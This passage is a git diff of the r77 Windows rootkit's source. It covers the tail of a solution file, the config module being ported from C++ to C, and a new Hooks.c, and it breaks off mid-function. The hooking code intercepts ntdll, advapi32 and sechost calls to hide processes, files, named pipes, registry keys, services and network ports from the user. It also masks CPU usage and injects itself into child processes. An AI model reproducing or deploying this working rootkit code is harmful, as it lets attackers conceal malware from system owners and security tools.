Release|x64 + {78BB6D02-6E02-4933-89DC-4AD8EE0B303F}.Release|x86.ActiveCfg = Release|x64 + {78BB6D02-6E02-4933-89DC-4AD8EE0B303F}.Release|x86.Build.0 = Release|x64 + {4D71336E-6EF6-4DF1-8457-B94DC3D73FE7}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {4D71336E-6EF6-4DF1-8457-B94DC3D73FE7}.Debug|Any CPU.Build.0 = Debug|Any CPU + {4D71336E-6EF6-4DF1-8457-B94DC3D73FE7}.Debug|x64.ActiveCfg = Debug|Any CPU + {4D71336E-6EF6-4DF1-8457-B94DC3D73FE7}.Debug|x64.Build.0 = Debug|Any CPU + {4D71336E-6EF6-4DF1-8457-B94DC3D73FE7}.Debug|x86.ActiveCfg = Debug|Any CPU + {4D71336E-6EF6-4DF1-8457-B94DC3D73FE7}.Debug|x86.Build.0 = Debug|Any CPU + {4D71336E-6EF6-4DF1-8457-B94DC3D73FE7}.Release|Any CPU.ActiveCfg = Release|Any CPU + {4D71336E-6EF6-4DF1-8457-B94DC3D73FE7}.Release|Any CPU.Build.0 = Release|Any CPU + {4D71336E-6EF6-4DF1-8457-B94DC3D73FE7}.Release|x64.ActiveCfg = Release|Any CPU + {4D71336E-6EF6-4DF1-8457-B94DC3D73FE7}.Release|x64.Build.0 = Release|Any CPU + {4D71336E-6EF6-4DF1-8457-B94DC3D73FE7}.Release|x86.ActiveCfg = Release|Any CPU + {4D71336E-6EF6-4DF1-8457-B94DC3D73FE7}.Release|x86.Build.0 = Release|Any CPU + {7271AFD1-10F6-4589-95B7-3ABF98E7B2CA}.Debug|Any CPU.ActiveCfg = Debug|Win32 + {7271AFD1-10F6-4589-95B7-3ABF98E7B2CA}.Debug|Any CPU.Build.0 = Debug|Win32 + {7271AFD1-10F6-4589-95B7-3ABF98E7B2CA}.Debug|x64.ActiveCfg = Debug|Win32 + {7271AFD1-10F6-4589-95B7-3ABF98E7B2CA}.Debug|x64.Build.0 = Debug|Win32 + {7271AFD1-10F6-4589-95B7-3ABF98E7B2CA}.Debug|x86.ActiveCfg = Debug|Win32 + {7271AFD1-10F6-4589-95B7-3ABF98E7B2CA}.Debug|x86.Build.0 = Debug|Win32 + {7271AFD1-10F6-4589-95B7-3ABF98E7B2CA}.Release|Any CPU.ActiveCfg = Release|Win32 + {7271AFD1-10F6-4589-95B7-3ABF98E7B2CA}.Release|Any CPU.Build.0 = Release|Win32 + {7271AFD1-10F6-4589-95B7-3ABF98E7B2CA}.Release|x64.ActiveCfg = Release|Win32 + {7271AFD1-10F6-4589-95B7-3ABF98E7B2CA}.Release|x64.Build.0 = Release|Win32 + {7271AFD1-10F6-4589-95B7-3ABF98E7B2CA}.Release|x86.ActiveCfg = Release|Win32 + {7271AFD1-10F6-4589-95B7-3ABF98E7B2CA}.Release|x86.Build.0 = Release|Win32 + {E3104B33-DB3D-4C83-B393-1E05E1FF2B10}.Debug|Any CPU.ActiveCfg = Debug|x64 + {E3104B33-DB3D-4C83-B393-1E05E1FF2B10}.Debug|Any CPU.Build.0 = Debug|x64 + {E3104B33-DB3D-4C83-B393-1E05E1FF2B10}.Debug|x64.ActiveCfg = Debug|x64 + {E3104B33-DB3D-4C83-B393-1E05E1FF2B10}.Debug|x64.Build.0 = Debug|x64 + {E3104B33-DB3D-4C83-B393-1E05E1FF2B10}.Debug|x86.ActiveCfg = Debug|x64 + {E3104B33-DB3D-4C83-B393-1E05E1FF2B10}.Debug|x86.Build.0 = Debug|x64 + {E3104B33-DB3D-4C83-B393-1E05E1FF2B10}.Release|Any CPU.ActiveCfg = Release|x64 + {E3104B33-DB3D-4C83-B393-1E05E1FF2B10}.Release|Any CPU.Build.0 = Release|x64 + {E3104B33-DB3D-4C83-B393-1E05E1FF2B10}.Release|x64.ActiveCfg = Release|x64 + {E3104B33-DB3D-4C83-B393-1E05E1FF2B10}.Release|x64.Build.0 = Release|x64 + {E3104B33-DB3D-4C83-B393-1E05E1FF2B10}.Release|x86.ActiveCfg = Release|x64 + {E3104B33-DB3D-4C83-B393-1E05E1FF2B10}.Release|x86.Build.0 = Release|x64 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection + GlobalSection(NestedProjects) = preSolution + {E55F7214-8CC4-4E1D-AEDB-C908D23902A4} = {75D5E6C6-38E6-4808-A81C-D237A7D2BEEB} + {06AF1D64-F2FC-4767-8794-7313C7BB0A40} = {1A7FBF3D-F6D4-41A5-93FE-118A940F9086} + {1BA54A13-B390-47B3-9628-B58A2BBA193B} = {1A7FBF3D-F6D4-41A5-93FE-118A940F9086} + {F0005D08-6278-4BFE-B492-F86CCEC797D5} = {48D99D12-84EF-4BB3-946F-1366B9AA60B3} + {00D7268A-92A9-4CD4-ADDF-175E9BF16AE0} = {48D99D12-84EF-4BB3-946F-1366B9AA60B3} + {86F8C733-F773-4AD8-9282-3F99953261FD} = {75D5E6C6-38E6-4808-A81C-D237A7D2BEEB} + {BCE48DAE-232E-4B3D-B5B5-D0B29BB7E9DE} = {BD27B8C6-9341-44E1-B375-FFE2ACAAD7F5} + {2D6FDD44-39B1-4FF8-8AE0-60A6B0979F5F} = {75D5E6C6-38E6-4808-A81C-D237A7D2BEEB} + {78BB6D02-6E02-4933-89DC-4AD8EE0B303F} = {75D5E6C6-38E6-4808-A81C-D237A7D2BEEB} + {E6543F7A-4E58-4C55-975E-ED975481EBE8} = {75D5E6C6-38E6-4808-A81C-D237A7D2BEEB} + {525FD9EB-628A-4D93-B320-3C1DFA0A216D} = {1A7FBF3D-F6D4-41A5-93FE-118A940F9086} + {6E4BB100-C3C9-4CF7-A637-08C2482C6B94} = {1A7FBF3D-F6D4-41A5-93FE-118A940F9086} + {DEAB25FD-2042-4BD6-BF4B-0802DCCC70F5} = {BD27B8C6-9341-44E1-B375-FFE2ACAAD7F5} + {4D71336E-6EF6-4DF1-8457-B94DC3D73FE7} = {BD27B8C6-9341-44E1-B375-FFE2ACAAD7F5} + {46E171D4-1811-48BE-8867-A63C28761D28} = {BD27B8C6-9341-44E1-B375-FFE2ACAAD7F5} + {7271AFD1-10F6-4589-95B7-3ABF98E7B2CA} = {BD27B8C6-9341-44E1-B375-FFE2ACAAD7F5} + {E3104B33-DB3D-4C83-B393-1E05E1FF2B10} = {BD27B8C6-9341-44E1-B375-FFE2ACAAD7F5} + EndGlobalSection + GlobalSection(ExtensibilityGlobals) = postSolution + SolutionGuid = {A070C206-A2CD-4C8A-878F-A43650D1A3B1} + EndGlobalSection + GlobalSection(SharedMSBuildProjectFiles) = preSolution + r77api\r77api.vcxitems*{00d7268a-92a9-4cd4-addf-175e9bf16ae0}*SharedItemsImports = 4 + r77api\r77api.vcxitems*{06af1d64-f2fc-4767-8794-7313c7bb0a40}*SharedItemsImports = 4 + r77\r77.vcxitems*{06af1d64-f2fc-4767-8794-7313c7bb0a40}*SharedItemsImports = 4 + r77api\r77api.vcxitems*{1ba54a13-b390-47b3-9628-b58a2bba193b}*SharedItemsImports = 4 + r77\r77.vcxitems*{1ba54a13-b390-47b3-9628-b58a2bba193b}*SharedItemsImports = 4 + Helper\Helper.vcxitems*{2d6fdd44-39b1-4ff8-8ae0-60a6b0979f5f}*SharedItemsImports = 4 + r77api\r77api.vcxitems*{2d6fdd44-39b1-4ff8-8ae0-60a6b0979f5f}*SharedItemsImports = 4 + Service\Service.vcxitems*{46e171d4-1811-48be-8867-a63c28761d28}*SharedItemsImports = 9 + r77api\r77api.vcxitems*{525fd9eb-628a-4d93-b320-3c1dfa0a216d}*SharedItemsImports = 9 + r77\r77.vcxitems*{6e4bb100-c3c9-4cf7-a637-08c2482c6b94}*SharedItemsImports = 9 + r77api\r77api.vcxitems*{7271afd1-10f6-4589-95b7-3abf98e7b2ca}*SharedItemsImports = 4 + Service\Service.vcxitems*{7271afd1-10f6-4589-95b7-3abf98e7b2ca}*SharedItemsImports = 4 + Helper\Helper.vcxitems*{78bb6d02-6e02-4933-89dc-4ad8ee0b303f}*SharedItemsImports = 4 + r77api\r77api.vcxitems*{78bb6d02-6e02-4933-89dc-4ad8ee0b303f}*SharedItemsImports = 4 + r77api\r77api.vcxitems*{bce48dae-232e-4b3d-b5b5-d0b29bb7e9de}*SharedItemsImports = 4 + InstallShellcode\InstallShellcode.vcxitems*{deab25fd-2042-4bd6-bf4b-0802dccc70f5}*SharedItemsImports = 9 + r77api\r77api.vcxitems*{e3104b33-db3d-4c83-b393-1e05e1ff2b10}*SharedItemsImports = 4 + Service\Service.vcxitems*{e3104b33-db3d-4c83-b393-1e05e1ff2b10}*SharedItemsImports = 4 + Helper\Helper.vcxitems*{e6543f7a-4e58-4c55-975e-ed975481ebe8}*SharedItemsImports = 9 + r77api\r77api.vcxitems*{f0005d08-6278-4bfe-b492-f86ccec797d5}*SharedItemsImports = 4 + EndGlobalSection +EndGlobal diff --git a/src/r77/Config.cpp b/r77/Config.c similarity index 63% rename from src/r77/Config.cpp rename to r77/Config.c index 4cab992..010fe6a 100644 --- a/src/r77/Config.cpp +++ b/r77/Config.c @@ -1,92 +1,82 @@ -#include "r77.h" +#include "Config.h" +#include "r77win.h" -HANDLE Config::Thread = NULL; -PR77_CONFIG Config::Configuration = NULL; - -void Config::Initialize() +VOID InitializeConfig() { // The configuration is read periodically in a background thread. - if (!Thread) - { - Thread = CreateThread(NULL, 0, UpdateThread, NULL, 0, NULL); - } + ConfigThread = CreateThread(NULL, 0, UpdateConfigThread, NULL, 0, NULL); } -void Config::Shutdown() +VOID UninitializeConfig() { - if (Thread) + TerminateThread(ConfigThread, 0); +} +static DWORD WINAPI UpdateConfigThread(LPVOID parameter) +{ + Configuration = LoadR77Config(); + + while (TRUE) { - TerminateThread(Thread, 0); - Thread = NULL; + // Interval should not be too small, because this thread is running in every injected process. + Sleep(1000); + + PR77_CONFIG newConfiguration = LoadR77Config(); + + if (CompareR77Config(Configuration, newConfiguration)) + { + // Configuration hasn't changed. + DeleteR77Config(newConfiguration); + } + else + { + // Store configuration only if it has changed to avoid threading errors. + PR77_CONFIG oldConfiguration = Configuration; + Configuration = newConfiguration; + DeleteR77Config(oldConfiguration); + } } + + return 0; } -bool Config::IsProcessIdHidden(DWORD processId) +BOOL IsProcessIdHidden(DWORD processId) { return Configuration && IntegerListContains(Configuration->HiddenProcessIds, processId); } -bool Config::IsProcessNameHidden(LPCWSTR name) +BOOL IsProcessNameHidden(LPCWSTR name) { return Configuration && StringListContains(Configuration->HiddenProcessNames, name); } -bool Config::IsProcessNameHidden(UNICODE_STRING name) +BOOL IsProcessNameHiddenU(UNICODE_STRING name) { PWCHAR chars = ConvertUnicodeStringToString(name); if (chars) { - bool result = IsProcessNameHidden(chars); - delete[] chars; + BOOL result = IsProcessNameHidden(chars); + FREE(chars); return result; } else { - return false; + return FALSE; } } -bool Config::IsPathHidden(LPCWSTR path) +BOOL IsPathHidden(LPCWSTR path) { return Configuration && StringListContains(Configuration->HiddenPaths, path); } -bool Config::IsServiceNameHidden(LPCWSTR name) +BOOL IsServiceNameHidden(LPCWSTR name) { return Configuration && StringListContains(Configuration->HiddenServiceNames, name); } -bool Config::IsTcpLocalPortHidden(USHORT port) +BOOL IsTcpLocalPortHidden(USHORT port) { return Configuration && IntegerListContains(Configuration->HiddenTcpLocalPorts, port); } -bool Config::IsTcpRemotePortHidden(USHORT port) +BOOL IsTcpRemotePortHidden(USHORT port) { return Configuration && IntegerListContains(Configuration->HiddenTcpRemotePorts, port); } -bool Config::IsUdpPortHidden(USHORT port) +BOOL IsUdpPortHidden(USHORT port) { return Configuration && IntegerListContains(Configuration->HiddenUdpPorts, port); -} - -DWORD WINAPI Config::UpdateThread(LPVOID parameter) -{ - Configuration = LoadR77Config(); - - while (true) - { - // Interval should not be too small, because this thread is running in every injected process. - Sleep(1000); - - PR77_CONFIG newConfiguration = LoadR77Config(); - - if (CompareR77Config(Configuration, newConfiguration)) - { - // Configuration hasn't changed. - DeleteR77Config(newConfiguration); - } - else - { - // Store configuration only if it has changed to avoid threading errors. - PR77_CONFIG oldConfiguration = Configuration; - Configuration = newConfiguration; - DeleteR77Config(oldConfiguration); - } - } - - return 0; } \ No newline at end of file diff --git a/r77/Config.h b/r77/Config.h new file mode 100644 index 0000000..f511bfa --- /dev/null +++ b/r77/Config.h @@ -0,0 +1,91 @@ +#include "r77config.h" +#ifndef _CONFIG_H +#define _CONFIG_H + +static HANDLE ConfigThread; +static PR77_CONFIG Configuration; + +/// +/// Initializes the configuration system. +/// +VOID InitializeConfig(); +/// +/// Uninitializes the configuration system. +/// +VOID UninitializeConfig(); +static DWORD WINAPI UpdateConfigThread(LPVOID parameter); + +/// +/// Determines whether a process should be hidden based on a specific process ID. +/// +/// The process ID to check. +/// +/// TRUE, if the process with the specified ID should be hidden; +/// otherwise, FALSE. +/// +BOOL IsProcessIdHidden(DWORD processId); +/// +/// Determines whether a process should be hidden based on a specific name. +/// +/// The process name to check. +/// +/// TRUE, if the process with the specified name should be hidden; +/// otherwise, FALSE. +/// +BOOL IsProcessNameHidden(LPCWSTR name); +/// +/// Determines whether a process should be hidden based on a specific name. +/// +/// The process name to check. +/// +/// TRUE, if the process with the specified name should be hidden; +/// otherwise, FALSE. +/// +BOOL IsProcessNameHiddenU(UNICODE_STRING name); +/// +/// Determines whether a file or directory should be hidden based on its full path. +/// +/// The full path to check. +/// +/// TRUE, if the file or directory with the specified full path should be hidden; +/// otherwise, FALSE. +/// +BOOL IsPathHidden(LPCWSTR path); +/// +/// Determines whether a service should be hidden based on a specific name. +/// +/// The service name to check. +/// +/// TRUE, if the service with the specified name should be hidden; +/// otherwise, FALSE. +/// +BOOL IsServiceNameHidden(LPCWSTR name); +/// +/// Determines whether a local TCP port should be hidden. +/// +/// The TCP port to check. +/// +/// TRUE, if the local TCP port should be hidden; +/// otherwise, FALSE. +/// +BOOL IsTcpLocalPortHidden(USHORT port); +/// +/// Determines whether a remote TCP port should be hidden. +/// +/// The TCP port to check. +/// +/// TRUE, if the remote TCP port should be hidden; +/// otherwise, FALSE. +/// +BOOL IsTcpRemotePortHidden(USHORT port); +/// +/// Determines whether a UDP port should be hidden. +/// +/// The UDP port to check. +/// +/// TRUE, if the UDP port should be hidden; +/// otherwise, FALSE. +/// +BOOL IsUdpPortHidden(USHORT port); + +#endif \ No newline at end of file diff --git a/r77/Hooks.c b/r77/Hooks.c new file mode 100644 index 0000000..95d30e2 --- /dev/null +++ b/r77/Hooks.c @@ -0,0 +1,659 @@ +#include "Hooks.h" +#include "Rootkit.h" +#include "Config.h" +#include "r77mindef.h" +#include "r77def.h" +#include "r77win.h" +#include "ntdll.h" +#include "r77runtime.h" +#include "detours.h" +#include +#include + +VOID InitializeHooks() +{ + DetourTransactionBegin(); + DetourUpdateThread(GetCurrentThread()); + InstallHook("ntdll.dll", "NtQuerySystemInformation", (LPVOID*)&OriginalNtQuerySystemInformation, HookedNtQuerySystemInformation); + InstallHook("ntdll.dll", "NtResumeThread", (LPVOID*)&OriginalNtResumeThread, HookedNtResumeThread); + InstallHook("ntdll.dll", "NtQueryDirectoryFile", (LPVOID*)&OriginalNtQueryDirectoryFile, HookedNtQueryDirectoryFile); + InstallHook("ntdll.dll", "NtQueryDirectoryFileEx", (LPVOID*)&OriginalNtQueryDirectoryFileEx, HookedNtQueryDirectoryFileEx); + InstallHook("ntdll.dll", "NtEnumerateKey", (LPVOID*)&OriginalNtEnumerateKey, HookedNtEnumerateKey); + InstallHook("ntdll.dll", "NtEnumerateValueKey", (LPVOID*)&OriginalNtEnumerateValueKey, HookedNtEnumerateValueKey); + InstallHook("advapi32.dll", "EnumServiceGroupW", (LPVOID*)&OriginalEnumServiceGroupW, HookedEnumServiceGroupW); + InstallHook("advapi32.dll", "EnumServicesStatusExW", (LPVOID*)&OriginalEnumServicesStatusExW, HookedEnumServicesStatusExW); + InstallHook("sechost.dll", "EnumServicesStatusExW", (LPVOID*)&OriginalEnumServicesStatusExW2, HookedEnumServicesStatusExW2); + InstallHook("ntdll.dll", "NtDeviceIoControlFile", (LPVOID*)&OriginalNtDeviceIoControlFile, HookedNtDeviceIoControlFile); + DetourTransactionCommit(); + + // Usually, ntdll.dll should be the only DLL to hook. + // Unfortunately, the actual enumeration of services happens in services.exe - a protected process that cannot be injected. + // EnumServiceGroupW and EnumServicesStatusExW from advapi32.dll access services.exe through RPC. There is no longer one single syscall wrapper function to hook, but multiple higher level functions. + // EnumServicesStatusA and EnumServicesStatusExA also implement the RPC, but do not seem to be used by any applications out there. +} +VOID UninitializeHooks() +{ + DetourTransactionBegin(); + DetourUpdateThread(GetCurrentThread()); + UninstallHook(OriginalNtQuerySystemInformation, HookedNtQuerySystemInformation); + UninstallHook(OriginalNtResumeThread, HookedNtResumeThread); + UninstallHook(OriginalNtQueryDirectoryFile, HookedNtQueryDirectoryFile); + UninstallHook(OriginalNtQueryDirectoryFileEx, HookedNtQueryDirectoryFileEx); + UninstallHook(OriginalNtEnumerateKey, HookedNtEnumerateKey); + UninstallHook(OriginalNtEnumerateValueKey, HookedNtEnumerateValueKey); + UninstallHook(OriginalEnumServiceGroupW, HookedEnumServiceGroupW); + UninstallHook(OriginalEnumServicesStatusExW, HookedEnumServicesStatusExW); + UninstallHook(OriginalEnumServicesStatusExW2, HookedEnumServicesStatusExW2); + UninstallHook(OriginalNtDeviceIoControlFile, HookedNtDeviceIoControlFile); + DetourTransactionCommit(); +} + +static VOID InstallHook(LPCSTR dll, LPCSTR function, LPVOID *originalFunction, LPVOID hookedFunction) +{ + *originalFunction = GetFunction(dll, function); + if (*originalFunction) DetourAttach(originalFunction, hookedFunction); +} +static VOID UninstallHook(LPVOID originalFunction, LPVOID hookedFunction) +{ + if (originalFunction && hookedFunction) DetourDetach(&originalFunction, hookedFunction); +} + +static NTSTATUS NTAPI HookedNtQuerySystemInformation(SYSTEM_INFORMATION_CLASS systemInformationClass, LPVOID systemInformation, ULONG systemInformationLength, PULONG returnLength) +{ + // returnLength is important, but it may be NULL, so wrap this value. + ULONG newReturnLength; + NTSTATUS status = OriginalNtQuerySystemInformation(systemInformationClass, systemInformation, systemInformationLength, &newReturnLength); + if (returnLength) *returnLength = newReturnLength; + + if (NT_SUCCESS(status)) + { + // Hide processes + if (systemInformationClass == SystemProcessInformation) + { + // Accumulate CPU usage of hidden processes. + LARGE_INTEGER hiddenKernelTime = { 0 }; + LARGE_INTEGER hiddenUserTime = { 0 }; + LONGLONG hiddenCycleTime = 0; + + for (PNT_SYSTEM_PROCESS_INFORMATION current = (PNT_SYSTEM_PROCESS_INFORMATION)systemInformation, previous = NULL; current;) + { + if (HasPrefixU(current->ImageName) || IsProcessIdHidden((DWORD)(DWORD_PTR)current->ProcessId) || IsProcessNameHiddenU(current->ImageName)) + { + hiddenKernelTime.QuadPart += current->KernelTime.QuadPart; + hiddenUserTime.QuadPart += current->UserTime.QuadPart; + hiddenCycleTime += current->CycleTime; + + if (previous) + { + if (current->NextEntryOffset) previous->NextEntryOffset += current->NextEntryOffset; + else previous->NextEntryOffset = 0; + } + else + { + if (current->NextEntryOffset) systemInformation = (LPBYTE)systemInformation + current->NextEntryOffset; + else systemInformation = NULL; + } + } + else + { + previous = current; + } + + if (current->NextEntryOffset) current = (PNT_SYSTEM_PROCESS_INFORMATION)((LPBYTE)current + current->NextEntryOffset); + else current = NULL; + } + + // Add CPU usage of hidden processes to the System Idle Process. + for (PNT_SYSTEM_PROCESS_INFORMATION current = (PNT_SYSTEM_PROCESS_INFORMATION)systemInformation, previous = NULL; current;) + { + if (current->ProcessId == 0) + { + current->KernelTime.QuadPart += hiddenKernelTime.QuadPart; + current->UserTime.QuadPart += hiddenUserTime.QuadPart; + current->CycleTime += hiddenCycleTime; + break; + } + + previous = current; + + if (current->NextEntryOffset) current = (PNT_SYSTEM_PROCESS_INFORMATION)((LPBYTE)current + current->NextEntryOffset); + else current = NULL; + } + } + // Hide CPU usage + else if (systemInformationClass == SystemProcessorPerformanceInformation) + { + // ProcessHacker graph per CPU + LARGE_INTEGER hiddenKernelTime = { 0 }; + LARGE_INTEGER hiddenUserTime = { 0 }; + if (GetProcessHiddenTimes(&hiddenKernelTime, &hiddenUserTime, NULL)) + { + ULONG numberOfProcessors = newReturnLength / sizeof(NT_SYSTEM_PROCESSOR_PERFORMANCE_INFORMATION); + for (ULONG i = 0; i < numberOfProcessors; i++) + { + //TODO: This works, but it needs to be on a per-cpu basis instead of x / numberOfProcessors + PNT_SYSTEM_PROCESSOR_PERFORMANCE_INFORMATION performanceInformation = &((PNT_SYSTEM_PROCESSOR_PERFORMANCE_INFORMATION)systemInformation)[i]; + performanceInformation->KernelTime.QuadPart += hiddenUserTime.QuadPart / numberOfProcessors; + performanceInformation->UserTime.QuadPart -= hiddenUserTime.QuadPart / numberOfProcessors; + performanceInformation->IdleTime.QuadPart += (hiddenKernelTime.QuadPart + hiddenUserTime.QuadPart) / numberOfProcessors; + } + } + } + // Hide CPU usage + else if (systemInformationClass == SystemProcessorIdleCycleTimeInformation) + { + // ProcessHacker graph for all CPU's + LONGLONG hiddenCycleTime = 0; + if (GetProcessHiddenTimes(NULL, NULL, &hiddenCycleTime)) + { + ULONG numberOfProcessors = newReturnLength / sizeof(LARGE_INTEGER); + for (ULONG i = 0; i < numberOfProcessors; i++) + { + ((PLARGE_INTEGER)systemInformation)[i].QuadPart += hiddenCycleTime / numberOfProcessors; + } + } + } + } + + return status; +} +static NTSTATUS NTAPI HookedNtResumeThread(HANDLE thread, PULONG suspendCount) +{ + // Child process hooking: + // When a process is created, its parent process calls NtResumeThread to start the new process after process creation is completed. + // At this point, the process is suspended and should be injected. After injection is completed, NtResumeThread should be called. + // To inject the process, a connection to the r77 service is performed through a named pipe. + // Because a 32-bit process can create a 64-bit child process, or vice versa, injection cannot be performed here. + + DWORD processId = GetProcessIdOfThread(thread); + if (processId != GetCurrentProcessId()) // If NtResumeThread is called on this process, it is not a child process + { + BOOL is64Bit; + if (Is64BitProcess(processId, &is64Bit)) + { + // Call either the 32-bit or the 64-bit r77 service and pass the process ID. + HANDLE pipe = CreateFileW(is64Bit ? CHILD_PROCESS_PIPE_NAME64 : CHILD_PROCESS_PIPE_NAME32, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL); + if (pipe != INVALID_HANDLE_VALUE) + { + // Send the process ID to the r77 service. + DWORD bytesWritten; + WriteFile(pipe, &processId, sizeof(DWORD), &bytesWritten, NULL); + + // Wait for the response. NtResumeThread should be called after r77 is injected. + BYTE returnValue; + DWORD bytesRead; + ReadFile(pipe, &returnValue, sizeof(BYTE), &bytesRead, NULL); + + CloseHandle(pipe); + } + } + } + + // This function returns, *after* injection is completed. + return OriginalNtResumeThread(thread, suspendCount); +} +static NTSTATUS NTAPI HookedNtQueryDirectoryFile(HANDLE fileHandle, HANDLE event, PIO_APC_ROUTINE apcRoutine, LPVOID apcContext, PIO_STATUS_BLOCK ioStatusBlock, LPVOID fileInformation, ULONG length, FILE_INFORMATION_CLASS fileInformationClass, BOOLEAN returnSingleEntry, PUNICODE_STRING fileName, BOOLEAN restartScan) +{ + NTSTATUS status = OriginalNtQueryDirectoryFile(fileHandle, event, apcRoutine, apcContext, ioStatusBlock, fileInformation, length, fileInformationClass, returnSingleEntry, fileName, restartScan); + + // Hide files, directories and named pipes + if (NT_SUCCESS(status) && (fileInformationClass == FileDirectoryInformation || fileInformationClass == FileFullDirectoryInformation || fileInformationClass == FileIdFullDirectoryInformation || fileInformationClass == FileBothDirectoryInformation || fileInformationClass == FileIdBothDirectoryInformation || fileInformationClass == FileNamesInformation)) + { + LPVOID current = fileInformation; + LPVOID previous = NULL; + ULONG nextEntryOffset; + + WCHAR fileDirectoryPath[MAX_PATH + 1] = { 0 }; + WCHAR fileFileName[MAX_PATH + 1] = { 0 }; + WCHAR fileFullPath[MAX_PATH + 1] = { 0 }; + + if (GetFileType(fileHandle) == FILE_TYPE_PIPE) lstrcpyW(fileDirectoryPath, L"\\\\.\\pipe\\"); + else GetPathFromHandle(fileHandle, fileDirectoryPath, MAX_PATH); + + do + { + nextEntryOffset = FileInformationGetNextEntryOffset(current, fileInformationClass); + + if (HasPrefix(FileInformationGetName(current, fileInformationClass, fileFileName)) || IsPathHidden(CreatePath(fileFullPath, fileDirectoryPath, FileInformationGetName(current, fileInformationClass, fileFileName)))) + { + if (nextEntryOffset) + { + RtlCopyMemory + ( + current, + (LPBYTE)current + nextEntryOffset, + (ULONG)(length - ((ULONGLONG)current - (ULONGLONG)fileInformation) - nextEntryOffset) + ); + continue; + } + else + { + if (current == fileInformation) status = STATUS_NO_MORE_FILES; + else FileInformationSetNextEntryOffset(previous, fileInformationClass, 0); + break; + } + } + + previous = current; + current = (LPBYTE)current + nextEntryOffset; + } + while (nextEntryOffset); + } + + return status; +} +static NTSTATUS NTAPI HookedNtQueryDirectoryFileEx(HANDLE fileHandle, HANDLE event, PIO_APC_ROUTINE apcRoutine, LPVOID apcContext, PIO_STATUS_BLOCK ioStatusBlock, LPVOID fileInformation, ULONG length, FILE_INFORMATION_CLASS fileInformationClass, ULONG queryFlags, PUNICODE_STRING fileName) +{ + NTSTATUS status = OriginalNtQueryDirectoryFileEx(fileHandle, event, apcRoutine, apcContext, ioStatusBlock, fileInformation, length, fileInformationClass, queryFlags, fileName); + + // Hide files, directories and named pipes + // Some applications (e.g. cmd.exe) use NtQueryDirectoryFileEx instead of NtQueryDirectoryFile. + if (NT_SUCCESS(status) && (fileInformationClass == FileDirectoryInformation || fileInformationClass == FileFullDirectoryInformation || fileInformationClass == FileIdFullDirectoryInformation || fileInformationClass == FileBothDirectoryInformation || fileInformationClass == FileIdBothDirectoryInformation || fileInformationClass == FileNamesInformation)) + { + WCHAR fileDirectoryPath[MAX_PATH + 1] = { 0 }; + WCHAR fileFileName[MAX_PATH + 1] = { 0 }; + WCHAR fileFullPath[MAX_PATH + 1] = { 0 }; + + if (GetFileType(fileHandle) == FILE_TYPE_PIPE) lstrcpyW(fileDirectoryPath, L"\\\\.\\pipe\\"); + else GetPathFromHandle(fileHandle, fileDirectoryPath, MAX_PATH); + + if (queryFlags & SL_RETURN_SINGLE_ENTRY) + { + // When returning a single entry, skip until the first item is found that is not hidden. + for (BOOL skip = HasPrefix(FileInformationGetName(fileInformation, fileInformationClass, fileFileName)) || IsPathHidden(CreatePath(fileFullPath, fileDirectoryPath, FileInformationGetName(fileInformation, fileInformationClass, fileFileName))); skip; skip = HasPrefix(FileInformationGetName(fileInformation, fileInformationClass, fileFileName)) || IsPathHidden(CreatePath(fileFullPath, fileDirectoryPath, FileInformationGetName(fileInformation, fileInformationClass, fileFileName)))) + { + status = OriginalNtQueryDirectoryFileEx(fileHandle, event, apcRoutine, apcContext, ioStatusBlock, fileInformation, length, fileInformationClass, queryFlags, fileName); + if (status) break; + } + } + else + { + LPVOID current = fileInformation; + LPVOID previous = NULL; + ULONG nextEntryOffset; + + do + { + nextEntryOffset = FileInformationGetNextEntryOffset(current, fileInformationClass); + + if (HasPrefix(FileInformationGetName(current, fileInformationClass, fileFileName)) || IsPathHidden(CreatePath(fileFullPath, fileDirectoryPath, FileInformationGetName(current, fileInformationClass, fileFileName)))) + { + if (nextEntryOffset) + { + RtlCopyMemory + ( + current, + (LPBYTE)current + nextEntryOffset, + (ULONG)(length - ((ULONGLONG)current - (ULONGLONG)fileInformation) - nextEntryOffset) + ); + continue; + } + else + { + if (current == fileInformation) status = STATUS_NO_MORE_FILES; + else FileInformationSetNextEntryOffset(previous, fileInformationClass, 0); + break; + } + } + + previous = current; + current = (LPBYTE)current + nextEntryOffset; + } + while (nextEntryOffset); + } + } + + return status; +} +static NTSTATUS NTAPI HookedNtEnumerateKey(HANDLE key, ULONG index, NT_KEY_INFORMATION_CLASS keyInformationClass, LPVOID keyInformation, ULONG keyInformationLength, PULONG resultLength) +{ + NTSTATUS status = OriginalNtEnumerateKey(key, index, keyInformationClass, keyInformation, keyInformationLength, resultLength); + + // Implement hiding of registry keys by correcting the index in NtEnumerateKey. + if (status == ERROR_SUCCESS && (keyInformationClass == KeyBasicInformation || keyInformationClass == KeyNameInformation)) + { + for (ULONG i = 0, newIndex = 0; newIndex <= index && status == ERROR_SUCCESS; i++) + { + status = OriginalNtEnumerateKey(key, i, keyInformationClass, keyInformation, keyInformationLength, resultLength); + + if (!HasPrefix(KeyInformationGetName(keyInformation, keyInformationClass))) + { + newIndex++; + } + } + } + + return status; +} +static NTSTATUS NTAPI HookedNtEnumerateValueKey(HANDLE key, ULONG index, NT_KEY_VALUE_INFORMATION_CLASS keyValueInformationClass, LPVOID keyValueInformation, ULONG keyValueInformationLength, PULONG resultLength) +{ + NTSTATUS status = OriginalNtEnumerateValueKey(key, index, keyValueInformationClass, keyValueInformation, keyValueInformationLength, resultLength); + + // Implement hiding of registry values by correcting the index in NtEnumerateValueKey. + if (status == ERROR_SUCCESS && (keyValueInformationClass == KeyValueBasicInformation || keyValueInformationClass == KeyValueFullInformation)) + { + for (ULONG i = 0, newIndex = 0; newIndex <= index && status == ERROR_SUCCESS; i++) + { + status = OriginalNtEnumerateValueKey(key, i, keyValueInformationClass, keyValueInformation, keyValueInformationLength, resultLength); + + if (!HasPrefix(KeyValueInformationGetName(keyValueInformation, keyValueInformationClass))) + { + newIndex++; + } + } + } + + return status; +} +static BOOL WINAPI HookedEnumServiceGroupW(SC_HANDLE serviceManager, DWORD serviceType, DWORD serviceState, LPBYTE services, DWORD servicesLength, LPDWORD bytesNeeded, LPDWORD servicesReturned, LPDWORD resumeHandle, LPVOID reserved) +{ + // services.msc + BOOL result = OriginalEnumServiceGroupW(serviceManager, serviceType, serviceState, services, servicesLength, bytesNeeded, servicesReturned, resumeHandle, reserved); + + if (result 